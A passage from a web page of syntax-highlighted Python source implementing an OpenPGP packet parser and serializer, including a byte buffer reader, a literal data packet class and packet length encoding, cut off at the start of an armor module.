style="color:#E6EDF3">.inner[:count]</span></span> 157<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.inner </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.inner[count:]</span></span> 158<span class="line"><span style="color:#FF7B72"> return</span><span style="color:#E6EDF3"> value</span></span> 159<span class="line"></span> 160<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#D2A8FF"> take_mpi</span><span style="color:#E6EDF3">(self) -> tuple[</span><span style="color:#79C0FF">int</span><span style="color:#E6EDF3">, </span><span style="color:#79C0FF">bytes</span><span style="color:#E6EDF3">]:</span></span> 161<span class="line"><span style="color:#E6EDF3"> bits </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.take_u16be()</span></span> 162<span class="line"><span style="color:#FF7B72"> return</span><span style="color:#E6EDF3"> (bits, </span><span style="color:#79C0FF">
162self</span><span style="color:#E6EDF3">.take_bytes((bits </span><span style="color:#FF7B72">+</span><span style="color:#79C0FF"> 7</span><span style="color:#E6EDF3">)</span><span style="color:#FF7B72">//</span><span style="color:#79C0FF">8</span><span style="color:#E6EDF3">))</span></span> 163<span class="line"></span> 164<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#D2A8FF"> take_utf8</span><span style="color:#E6EDF3">(self, count: </span><span style="color:#79C0FF">int</span><span style="color:#FF7B72"> |</span><span style="color:#79C0FF"> None</span><span style="color:#FF7B72"> =</span><span style="color:#79C0FF"> None</span><span style="color:#E6EDF3">) -> </span><span style="color:#79C0FF">str</span><span style="color:#E6EDF3">:</span></span> 165<span class="line"><span style="color:#E6EDF3"> text: </span><span style="color:#79C0FF">str</span></span> 166<span class="line"><span style="color:#FF7B72"> if</span><span style="color:#E6EDF3"> count </span><span style="color:#FF7B72">is</span><span style="color:#79C0FF"> None</span><span style="color:#E6EDF3">:</span></span> 167<span class="line"><span style="color:#E6EDF3"> count </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.inner.find(</span><span style="color:#79C0FF">0</span><span style="color:#E6EDF3">)</span></span> 168<span class="line"><span style="color:#E6EDF3"> text </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.take_bytes(count)</span></span> 169<span class="line"><span style="color:#E6EDF3"> _null </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.take_u8()</span></span> 170<span class="line"><span style="color:#FF7B72"> else</span><span style="color:#E6EDF3">:</span></span> 171<span class="line"><span style="color:#E6EDF3"> text </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.take_bytes(count)</span></span> 172<span class="line"></span> 173<span class="line"><span style="color:#FF7B72"> return</span><span style="color:#E6EDF3"> text.decode(</span><span style="color:#A5D6FF">"utf8"</span><span style="color:#E6EDF3">)</span></span> 174<span class="line"></span> 175<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#D2A8FF"> take_int</span><span style="color:#E6EDF3">(self, count: </span><span style="color:#79C0FF">int</span><span style="color:#E6EDF3">, byteorder: </span><span style="color:#79C0FF">str</span><span style="color:#FF7B72"> =</span><span style="color:#A5D6FF"> "big"</span><span style="color:#E6EDF3">, signed: </span><span style="color:#79C0FF">bool</span><span style="color:#FF7B72"> =</span><span style="color:#79C0FF"> False</span><span style="color:#E6EDF3">) -> </span><span style="color:#79C0FF">int</span><span style="color:#E6EDF3">:</span></span> 176<span class="line"><span style="color:#FF7B72"> return</span><span style="color:#79C0FF"> int</span><span style="color:#E6EDF3">.from_bytes(</span></span> 177<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.take_bytes(count),</span></span> 178<span class="line"><span style="color:#FFA657"> byteorder</span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3">byteorder,</span></span> 179<span class="line"><span style="color:#FFA657"> signed</span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3">signed,</span></span> 180<span class="line"><span style="color:#E6EDF3"> )</span></span> 181<span class="line"></span> 182<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#D2A8FF"> take_i8</span><span style="color:#E6EDF3">(self) -> </span><span style="color:#79C0FF">int</span><span style="color:#E6EDF3">:</span></span> 183<span class="line"><span style="color:#FF7B72"> return</span><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.take_int(</span><span style="color:#79C0FF">1</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">signed</span><span style="color:#FF7B72">=</span><span style="color:#79C0FF">True</span><span style="color:#E6EDF3">)</span></span> 184<span class="line"></span> 185<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#D2A8FF"> take_i16be</span><span style="color:#E6EDF3">(self) -> </span><span style="color:#79C0FF">int</span><span style="color:#E6EDF3">:</span></span> 186<span class="line"><span style="color:#FF7B72"> return</span><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.take_int(</span><span style="color:#79C0FF">2</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">
186byteorder</span><span style="color:#FF7B72">=</span><span style="color:#A5D6FF">"big"</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">signed</span><span style="color:#FF7B72">=</span><span style="color:#79C0FF">True</span><span style="color:#E6EDF3">)</span></span> 187<span class="line"></span> 188<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#D2A8FF"> take_i16le</span><span style="color:#E6EDF3">(self) -> </span><span style="color:#79C0FF">int</span><span style="color:#E6EDF3">:</span></span> 189<span class="line"><span style="color:#FF7B72"> return</span><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.take_int(</span><span style="color:#79C0FF">2</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">byteorder</span><span style="color:#FF7B72">=</span><span style="color:#A5D6FF">"little"</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">signed</span><span style="color:#FF7B72">=</span><span style="color:#79C0FF">True</span><span style="color:#E6EDF3">)</span></span> 190<span class="line"></span> 191<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#D2A8FF"> take_i32be</span><span style="color:#E6EDF3">(self) -> </span><span style="color:#79C0FF">int</span><span style="color:#E6EDF3">:</span></span> 192<span class="line"><span style="color:#FF7B72"> return</span><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.take_int(</span><span style="color:#79C0FF">4</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">byteorder</span><span style="color:#FF7B72">=</span><span style="color:#A5D6FF">"big"</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">signed</span><span style="color:#FF7B72">=</span><span style="color:#79C0FF">True</span><span style="color:#E6EDF3">)</span></span> 193<span class="line"></span> 194<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#D2A8FF"> take_i32le</span><span style="color:#E6EDF3">(self) -> </span><span style="color:#79C0FF">int</span><span style="color:#E6EDF3">:</span></span> 195<span class="line"><span style="color:#FF7B72"> return</span><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.take_int(</span><span style="color:#79C0FF">4</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">byteorder</span><span style="color:#FF7B72">=</span><span style="color:#A5D6FF">"little"</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">signed</span><span style="color:#FF7B72">=</span><span style="color:#79C0FF">True</span><span style="color:#E6EDF3">)</span></span> 196<span class="line"></span> 197<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#D2A8FF"> take_i64be</span><span style="color:#E6EDF3">(self) -> </span><span style="color:#79C0FF">int</span><span style="color:#E6EDF3">:</span></span> 198<span class="line"><span style="color:#FF7B72"> return</span><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.take_int(</span><span style="color:#79C0FF">8</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">byteorder</span><span style="color:#FF7B72">=</span><span style="color:#A5D6FF">"big"</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">signed</span><span style="color:#FF7B72">=</span><span style="color:#79C0FF">True</span><span style="color:#E6EDF3">)</span></span> 199<span class="line"></span> 200<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#D2A8FF"> take_i64le</span><span style="color:#E6EDF3">(self) -> </span><span style="color:#79C0FF">int</span><span style="color:#E6EDF3">:</span></span> 201<span class="line"><span style="color:#FF7B72"> return</span><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.take_int(</span><span style="color:#79C0FF">8</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">byteorder</span><span style="color:#FF7B72">=</span><span style="color:#A5D6FF">"little"</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">signed</span><span style="color:#FF7B72">=</span><span style="color:#79C0FF">True</span><span style="color:#E6EDF3">)</span></span> 202<span class="line"></span> 203<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#D2A8FF"> take_u8</span><span style="color:#E6EDF3">(self) -> </span><span style="color:#79C0FF">int</span><span style="color:#E6EDF3">:</span></span> 204<span class="line"><span style="color:#FF7B72"> return</span><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.take_int(</span><span style="color:#79C0FF">1</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">signed</span><span style="color:#FF7B72">=</span><span style="color:#79C0FF">False</span><span style="color:#E6EDF3">)</span></span> 205<span class="line"></span> 206<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#D2A8FF"> take_u16be</span><span style="color:#E6EDF3">(self) -> </span><span style="color:#79C0FF">int</span><span style="color:#E6EDF3">:</span></span> 207<span class="line"><span style="color:#FF7B72"> return</span><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.take_int(</span><span style="color:#79C0FF">2</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">
207byteorder</span><span style="color:#FF7B72">=</span><span style="color:#A5D6FF">"big"</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">signed</span><span style="color:#FF7B72">=</span><span style="color:#79C0FF">False</span><span style="color:#E6EDF3">)</span></span> 208<span class="line"></span> 209<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#D2A8FF"> take_u16le</span><span style="color:#E6EDF3">(self) -> </span><span style="color:#79C0FF">int</span><span style="color:#E6EDF3">:</span></span> 210<span class="line"><span style="color:#FF7B72"> return</span><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.take_int(</span><span style="color:#79C0FF">2</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">byteorder</span><span style="color:#FF7B72">=</span><span style="color:#A5D6FF">"little"</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">signed</span><span style="color:#FF7B72">=</span><span style="color:#79C0FF">False</span><span style="color:#E6EDF3">)</span></span> 211<span class="line"></span> 212<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#D2A8FF"> take_u32be</span><span style="color:#E6EDF3">(self) -> </span><span style="color:#79C0FF">int</span><span style="color:#E6EDF3">:</span></span> 213<span class="line"><span style="color:#FF7B72"> return</span><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.take_int(</span><span style="color:#79C0FF">4</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">byteorder</span><span style="color:#FF7B72">=</span><span style="color:#A5D6FF">"big"</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">signed</span><span style="color:#FF7B72">=</span><span style="color:#79C0FF">False</span><span style="color:#E6EDF3">)</span></span> 214<span class="line"></span> 215<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#D2A8FF"> take_u32le</span><span style="color:#E6EDF3">(self) -> </span><span style="color:#79C0FF">int</span><span style="color:#E6EDF3">:</span></span> 216<span class="line"><span style="color:#FF7B72"> return</span><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.take_int(</span><span style="color:#79C0FF">4</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">byteorder</span><span style="color:#FF7B72">=</span><span style="color:#A5D6FF">"little"</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">signed</span><span style="color:#FF7B72">=</span><span style="color:#79C0FF">False</span><span style="color:#E6EDF3">)</span></span> 217<span class="line"></span> 218<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#D2A8FF"> take_u64be</span><span style="color:#E6EDF3">(self) -> </span><span style="color:#79C0FF">int</span><span style="color:#E6EDF3">:</span></span> 219<span class="line"><span style="color:#FF7B72"> return</span><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.take_int(</span><span style="color:#79C0FF">8</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">byteorder</span><span style="color:#FF7B72">=</span><span style="color:#A5D6FF">"big"</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">signed</span><span style="color:#FF7B72">=</span><span style="color:#79C0FF">False</span><span style="color:#E6EDF3">)</span></span> 220<span class="line"></span> 221<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#D2A8FF"> take_u64le</span><span style="color:#E6EDF3">(self) -> </span><span style="color:#79C0FF">int</span><span style="color:#E6EDF3">:</span></span> 222<span class="line"><span style="color:#FF7B72"> return</span><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.take_int(</span><span style="color:#79C0FF">8</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">byteorder</span><span style="color:#FF7B72">=</span><span style="color:#A5D6FF">"little"</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">signed</span><span style="color:#FF7B72">=</span><span style="color:#79C0FF">False</span><span style="color:#E6EDF3">)</span></span></code></pre><!----> <p>literal_data.py</p> <!----><pre class="shiki github-dark-default" style="background-color:#0d1117;color:#e6edf3" tabindex="0"><code><span class="line"><span style="color:#FF7B72">from</span><span style="color:#E6EDF3"> datetime </span><span style="color:#FF7B72">
222import</span><span style="color:#E6EDF3"> datetime</span></span> 223<span class="line"><span style="color:#FF7B72">from</span><span style="color:#E6EDF3"> enum </span><span style="color:#FF7B72">import</span><span style="color:#E6EDF3"> Enum</span></span> 224<span class="line"></span> 225<span class="line"><span style="color:#FF7B72">from</span><span style="color:#E6EDF3"> buffer </span><span style="color:#FF7B72">import</span><span style="color:#E6EDF3"> Buffer</span></span> 226<span class="line"></span> 227<span class="line"><span style="color:#FF7B72">class</span><span style="color:#FFA657"> LiteralDataEncoding</span><span style="color:#E6EDF3">(</span><span style="color:#79C0FF">int</span><span style="color:#E6EDF3">, </span><span style="color:#79C0FF">Enum</span><span style="color:#E6EDF3">):</span></span> 228<span class="line"><span style="color:#E6EDF3"> Binary </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> ord</span><span style="color:#E6EDF3">(</span><span style="color:#A5D6FF">"b"</span><span style="color:#E6EDF3">)</span></span> 229<span class="line"><span style="color:#79C0FF"> UTF8</span><span style="color:#FF7B72"> =</span><span style="color:#79C0FF"> ord</span><span style="color:#E6EDF3">(</span><span style="color:#A5D6FF">"u"</span><span style="color:#E6EDF3">)</span></span> 230<span class="line"><span style="color:#E6EDF3"> Text </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> ord</span><span style="color:#E6EDF3">(</span><span style="color:#A5D6FF">"t"</span><span style="color:#E6EDF3">)</span></span> 231<span class="line"></span> 232<span class="line"><span style="color:#FF7B72">class</span><span style="color:#FFA657"> LiteralDataPacket</span><span style="color:#E6EDF3">:</span></span> 233<span class="line"><span style="color:#E6EDF3"> encoding: LiteralDataEncoding </span><span style="color:#FF7B72">|</span><span style="color:#79C0FF"> None</span></span> 234<span class="line"><span style="color:#E6EDF3"> file_name: </span><span style="color:#79C0FF">str</span></span> 235<span class="line"><span style="color:#E6EDF3"> metadata: </span><span style="color:#79C0FF">int</span></span> 236<span class="line"><span style="color:#E6EDF3"> data: </span><span style="color:#79C0FF">bytes</span></span> 237<span class="line"></span> 238<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#79C0FF"> __init__</span><span style="color:#E6EDF3">(</span></span> 239<span class="line"><span style="color:#E6EDF3"> self,</span></span> 240<span class="line"><span style="color:#E6EDF3"> encoding: LiteralDataEncoding </span><span style="color:#FF7B72">|</span><span style="color:#79C0FF"> None</span><span style="color:#FF7B72"> =</span><span style="color:#79C0FF"> None</span><span style="color:#E6EDF3">,</span></span> 241<span class="line"><span style="color:#E6EDF3"> file_name: </span><span style="color:#79C0FF">str</span><span style="color:#FF7B72"> =</span><span style="color:#A5D6FF"> ""</span><span style="color:#E6EDF3">,</span></span> 242<span class="line"><span style="color:#E6EDF3"> metadata: </span><span style="color:#79C0FF">int</span><span style="color:#FF7B72"> =</span><span style="color:#79C0FF"> 0</span><span style="color:#E6EDF3">,</span></span> 243<span class="line"><span style="color:#E6EDF3"> data: </span><span style="color:#79C0FF">bytes</span><span style="color:#FF7B72"> =</span><span style="color:#FF7B72"> b</span><span style="color:#A5D6FF">""</span><span style="color:#E6EDF3">,</span></span> 244<span class="line"><span style="color:#E6EDF3"> ):</span></span> 245<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.encoding </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> encoding</span></span> 246<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.file_name </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> file_name</span></span> 247<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.metadata </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> metadata</span></span> 248<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.data </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> data</span></span> 249<span class="line"></span> 250<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#79C0FF"> __str__</span><span style="color:#E6EDF3">(self) -> </span><span style="color:#79C0FF">str</span><span style="color:#E6EDF3">:</span></span> 251<span class="line"><span style="color:#E6EDF3"> output </span><span style="color:#FF7B72">=</span><span style="color:#A5D6FF"> "</span><span style="color:#FF7B72">\n</span><span style="color:#A5D6FF">"</span></span> 252<span class="line"><span style="color:#E6EDF3"> output </span><span style="color:#FF7B72">+=</span><span style="color:#FF7B72"> f</span><span style="color:#A5D6FF">" encoding: </span><span style="color:#FF7B72">{</span><span style="color:#79C0FF">
252self</span><span style="color:#E6EDF3">.encoding</span><span style="color:#FF7B72">}</span><span style="color:#A5D6FF">,</span><span style="color:#FF7B72">\n</span><span style="color:#A5D6FF">"</span></span> 253<span class="line"><span style="color:#E6EDF3"> output </span><span style="color:#FF7B72">+=</span><span style="color:#FF7B72"> f</span><span style="color:#A5D6FF">" file_name: </span><span style="color:#FF7B72">{</span><span style="color:#79C0FF">repr</span><span style="color:#E6EDF3">(</span><span style="color:#79C0FF">self</span><span style="color:#E6EDF3">.file_name)</span><span style="color:#FF7B72">}</span><span style="color:#A5D6FF">,</span><span style="color:#FF7B72">\n</span><span style="color:#A5D6FF">"</span></span> 254<span class="line"></span> 255<span class="line"><span style="color:#E6EDF3"> timestamp </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> datetime.fromtimestamp(</span><span style="color:#79C0FF">self</span><span style="color:#E6EDF3">.metadata)</span></span> 256<span class="line"><span style="color:#E6EDF3"> output </span><span style="color:#FF7B72">+=</span><span style="color:#FF7B72"> f</span><span style="color:#A5D6FF">" metadata: 0x</span><span style="color:#FF7B72">{</span><span style="color:#79C0FF">hex</span><span style="color:#E6EDF3">(</span><span style="color:#79C0FF">self</span><span style="color:#E6EDF3">.metadata)</span><span style="color:#FF7B72">}</span><span style="color:#A5D6FF"> (</span><span style="color:#FF7B72">{</span><span style="color:#E6EDF3">timestamp</span><span style="color:#FF7B72">}</span><span style="color:#A5D6FF">),</span><span style="color:#FF7B72">\n</span><span style="color:#A5D6FF">"</span></span> 257<span class="line"><span style="color:#E6EDF3"> output </span><span style="color:#FF7B72">+=</span><span style="color:#FF7B72"> f</span><span style="color:#A5D6FF">" data(</span><span style="color:#FF7B72">{</span><span style="color:#79C0FF">len</span><span style="color:#E6EDF3">(</span><span style="color:#79C0FF">self</span><span style="color:#E6EDF3">.data)</span><span style="color:#FF7B72">}</span><span style="color:#A5D6FF">): </span><span style="color:#FF7B72">{</span><span style="color:#79C0FF">self</span><span style="color:#E6EDF3">.data.hex()</span><span style="color:#FF7B72">}</span><span style="color:#A5D6FF">,</span><span style="color:#FF7B72">\n</span><span style="color:#A5D6FF">"</span></span> 258<span class="line"><span style="color:#FF7B72"> return</span><span style="color:#E6EDF3"> output</span></span> 259<span class="line"></span> 260<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#79C0FF"> __bytes__</span><span style="color:#E6EDF3">(self) -> </span><span style="color:#79C0FF">bytes</span><span style="color:#E6EDF3">:</span></span> 261<span class="line"><span style="color:#E6EDF3"> buffer </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> Buffer()</span></span> 262<span class="line"><span style="color:#E6EDF3"> buffer.push_u8(</span><span style="color:#79C0FF">self</span><span style="color:#E6EDF3">.encoding)</span></span> 263<span class="line"><span style="color:#E6EDF3"> buffer.push_u8(</span><span style="color:#79C0FF">len</span><span style="color:#E6EDF3">(</span><span style="color:#79C0FF">self</span><span style="color:#E6EDF3">.file_name))</span></span> 264<span class="line"><span style="color:#E6EDF3"> buffer.push_utf8(</span><span style="color:#79C0FF">self</span><span style="color:#E6EDF3">.file_name)</span></span> 265<span class="line"><span style="color:#E6EDF3"> buffer.push_u32be(</span><span style="color:#79C0FF">self</span><span style="color:#E6EDF3">.metadata)</span></span> 266<span class="line"><span style="color:#E6EDF3"> buffer.push_bytes(</span><span style="color:#79C0FF">self</span><span style="color:#E6EDF3">.data)</span></span> 267<span class="line"></span> 268<span class="line"><span style="color:#FF7B72"> return</span><span style="color:#79C0FF"> bytes</span><span style="color:#E6EDF3">(buffer)</span></span></code></pre><!----> <p>packets.py</p> <!----><pre class="shiki github-dark-default" style="background-color:#0d1117;color:#e6edf3" tabindex="0"><code><span class="line"><span>from base64 import b64decode, b64encode</span></span> 269<span class="line"><span>from enum import Enum</span></span> 270<span class="line"><span>from sys import argv</span></span> 271<span class="line"><span></span></span> 272<span class="line"><span>from buffer import Buffer</span></span> 273<span class="line"><span>from literal_data import LiteralDataEncoding, LiteralDataPacket</span></span> 274<span class="line"><span></span></span> 275<span class="line"><span></span></span> 276<span class="line"><span>class PacketType(int, Enum):</span></span> 277<span class="line"><span> PublicKeyEncryptedSessionKey = 1</span></span> 278<span class="line"><span> Signature = 2</span></span> 279<span class="line"><span>
279 SymmetricKeyEncryptedSessionKey = 3</span></span> 280<span class="line"><span> OnePassSignature = 4</span></span> 281<span class="line"><span> SecretKey = 5</span></span> 282<span class="line"><span> PublicKey = 6</span></span> 283<span class="line"><span> SecretSubkey = 7</span></span> 284<span class="line"><span> CompressedData = 8</span></span> 285<span class="line"><span> SymmetricallyEncryptedData = 9</span></span> 286<span class="line"><span> Marker = 10</span></span> 287<span class="line"><span> LiteralData = 11</span></span> 288<span class="line"><span> Trust = 12</span></span> 289<span class="line"><span> UserID = 13</span></span> 290<span class="line"><span> PublicSubkey = 14</span></span> 291<span class="line"><span></span></span> 292<span class="line"><span> UserAttribute = 17</span></span> 293<span class="line"><span> SymmetricallyEncryptedAndIntegrityProtectedData = 18</span></span> 294<span class="line"><span> ModificationDetectionCode = 19</span></span> 295<span class="line"><span> Padding = 21</span></span> 296<span class="line"><span></span></span> 297<span class="line"><span></span></span> 298<span class="line"><span>class Packet:</span></span> 299<span class="line"><span> legacy: bool</span></span> 300<span class="line"><span> packet_type: PacketType | None</span></span> 301<span class="line"><span> body: LiteralDataPacket | bytes</span></span> 302<span class="line"><span></span></span> 303<span class="line"><span> def __init__(</span></span> 304<span class="line"><span> self,</span></span> 305<span class="line"><span> legacy: bool = False,</span></span> 306<span class="line"><span> packet_type: PacketType | None = None,</span></span> 307<span class="line"><span> body: LiteralDataPacket | bytes = b""</span></span> 308<span class="line"><span> ):</span></span> 309<span class="line"><span> self.legacy = legacy</span></span> 310<span class="line"><span> self.packet_type = packet_type</span></span> 311<span class="line"><span> self.body = body</span></span> 312<span class="line"><span></span></span> 313<span class="line"><span> def __str__(self) -> str:</span></span> 314<span class="line"><span> prefix = "Legacy" if self.legacy else ""</span></span> 315<span class="line"><span> return f"{prefix}{self.packet_type}Packet({self.body})"</span></span> 316<span class="line"><span></span></span> 317<span class="line"><span> def __bytes__(self) -> bytes:</span></span> 318<span class="line"><span> buffer = Buffer()</span></span> 319<span class="line"><span> raw_body = bytes(self.body)</span></span> 320<span class="line"><span> length = len(raw_body)</span></span> 321<span class="line"><span></span></span> 322<span class="line"><span> if self.legacy:</span></span> 323<span class="line"><span> length_type = 0</span></span> 324<span class="line"><span></span></span> 325<span class="line"><span> if length <= 0xff:</span></span> 326<span class="line"><span> length_type = 0</span></span> 327<span class="line"><span> elif length <= 0xffff:</span></span> 328<span class="line"><span> length_type = 1</span></span> 329<span class="line"><span> elif length <= 0xffff_ffff:</span></span> 330<span class="line"><span> length_type = 2</span></span> 331<span class="line"><span> else:</span></span> 332<span class="line"><span> length_type = 3</span></span> 333<span class="line"><span></span></span> 334<span class="line"><span> buffer.push_u8(0x80 + (self.packet_type.value << 2) + length_type)</span></span> 335<span class="line"><span></span></span> 336<span class="line"><span> match length_type:</span></span> 337<span class="line"><span> case 0:</span></span> 338<span class="line"><span> buffer.push_u8(length)</span></span> 339<span class="line"><span> case 1:</span></span> 340<span class="line"><span> buffer.push_u16be(length)</span></span> 341<span class="line"><span> case 2:</span></span> 342<span class="line"><span> buffer.push_u32be(length)</span></span> 343<span class="line"><span> case _:</span></span> 344<span class="line"><span> raise Exception("Not implemented")</span></span> 345<span class="line"><span> else:</span></span> 346<span class="line"><span> buffer.push_u8(0xc0 + self.packet_type.value)</span></span> 347<span class="line"><span></span></span> 348<span class="line"><span> if length < 192:</span></span> 349<span class="line"><span> buffer.push_u8(length)</span></span> 350<span class="line"><span> elif length < 8383:</span></span> 351<span class="line"><span> length -= 192</span></span> 352<span class="line"><span> msb = (length >> 8) + 192</span></span> 353<span class="line"><span> lsb = length &
353 0xff</span></span> 354<span class="line"><span> buffer.push_u8(msb)</span></span> 355<span class="line"><span> buffer.push_u8(lsb)</span></span> 356<span class="line"><span></span></span> 357<span class="line"><span> buffer.push_bytes(raw_body)</span></span> 358<span class="line"><span> return bytes(buffer)</span></span> 359<span class="line"><span></span></span> 360<span class="line"><span> def from_buffer(self, buffer: Buffer):</span></span> 361<span class="line"><span> octed = buffer.take_u8()</span></span> 362<span class="line"><span> if octed >= 0xc0:</span></span> 363<span class="line"><span> self.legacy = False</span></span> 364<span class="line"><span> self.packet_type = PacketType(octed & 0x3f)</span></span> 365<span class="line"><span> elif octed >= 0x80:</span></span> 366<span class="line"><span> self.legacy = True</span></span> 367<span class="line"><span> self.packet_type = PacketType((octed & 0x3f) >> 2)</span></span> 368<span class="line"><span> else:</span></span> 369<span class="line"><span> raise Exception(f"Invalid Packet ID: {octed}")</span></span> 370<span class="line"><span></span></span> 371<span class="line"><span> length = 0</span></span> 372<span class="line"><span> if self.legacy:</span></span> 373<span class="line"><span> match octed & 0x03:</span></span> 374<span class="line"><span> case 0:</span></span> 375<span class="line"><span> length = buffer.take_u8()</span></span> 376<span class="line"><span> case 1:</span></span> 377<span class="line"><span> length = buffer.take_u16be()</span></span> 378<span class="line"><span> case 2:</span></span> 379<span class="line"><span> length = buffer.take_u32be()</span></span> 380<span class="line"><span> case _:</span></span> 381<span class="line"><span> raise Exception(f"Indeterminate legacy length is not implemented")</span></span> 382<span class="line"><span> else:</span></span> 383<span class="line"><span> first = buffer.take_u8()</span></span> 384<span class="line"><span> if first < 192:</span></span> 385<span class="line"><span> length = first</span></span> 386<span class="line"><span> elif first < 224:</span></span> 387<span class="line"><span> msb = first - 192</span></span> 388<span class="line"><span> lsb = buffer.take_u8() + 192</span></span> 389<span class="line"><span> length = (msb << 8) + lsb</span></span> 390<span class="line"><span> elif first == 255:</span></span> 391<span class="line"><span> length = buffer.take_u32be()</span></span> 392<span class="line"><span> else:</span></span> 393<span class="line"><span> raise Exception(f"Partial body length is not implemented")</span></span> 394<span class="line"><span></span></span> 395<span class="line"><span> data = buffer.take_bytes(length)</span></span> 396<span class="line"><span> self.body = data</span></span> 397<span class="line"><span></span></span> 398<span class="line"><span></span></span> 399<span class="line"><span>class Packets:</span></span> 400<span class="line"><span> packets: list[Packet]</span></span> 401<span class="line"><span></span></span> 402<span class="line"><span> def __init__(self, packets: list[Packet] = []):</span></span> 403<span class="line"><span> self.packets = packets</span></span> 404<span class="line"><span></span></span> 405<span class="line"><span> def __bytes__(self) -> bytes:</span></span> 406<span class="line"><span> output = b""</span></span> 407<span class="line"><span> for packet in self.packets:</span></span> 408<span class="line"><span> output += bytes(packet)</span></span> 409<span class="line"><span> return output</span></span> 410<span class="line"><span></span></span> 411<span class="line"><span> def from_buffer(self, buffer: Buffer):</span></span> 412<span class="line"><span> while not buffer.is_empty():</span></span> 413<span class="line"><span> packet = Packet()</span></span> 414<span class="line"><span> packet.from_buffer(buffer)</span></span> 415<span class="line"><span> self.packets.append(packet)</span></span> 416<span class="line"><span></span></span> 417<span class="line"><span> def from_bytes(self, data: bytes):</span></span> 418<span class="line"><span> self.from_buffer(Buffer(data))</span></span></code></pre><!----> <p>armor.py</p> <!----><pre class="shiki github-dark-default" style="background-color:#0d1117;color:#e6edf3" tabindex="0"><code><span class="line"><span style="color:#FF7B72">from</span><span style="color:#E6EDF3"> base64 </span><span style="color:#FF7B72">
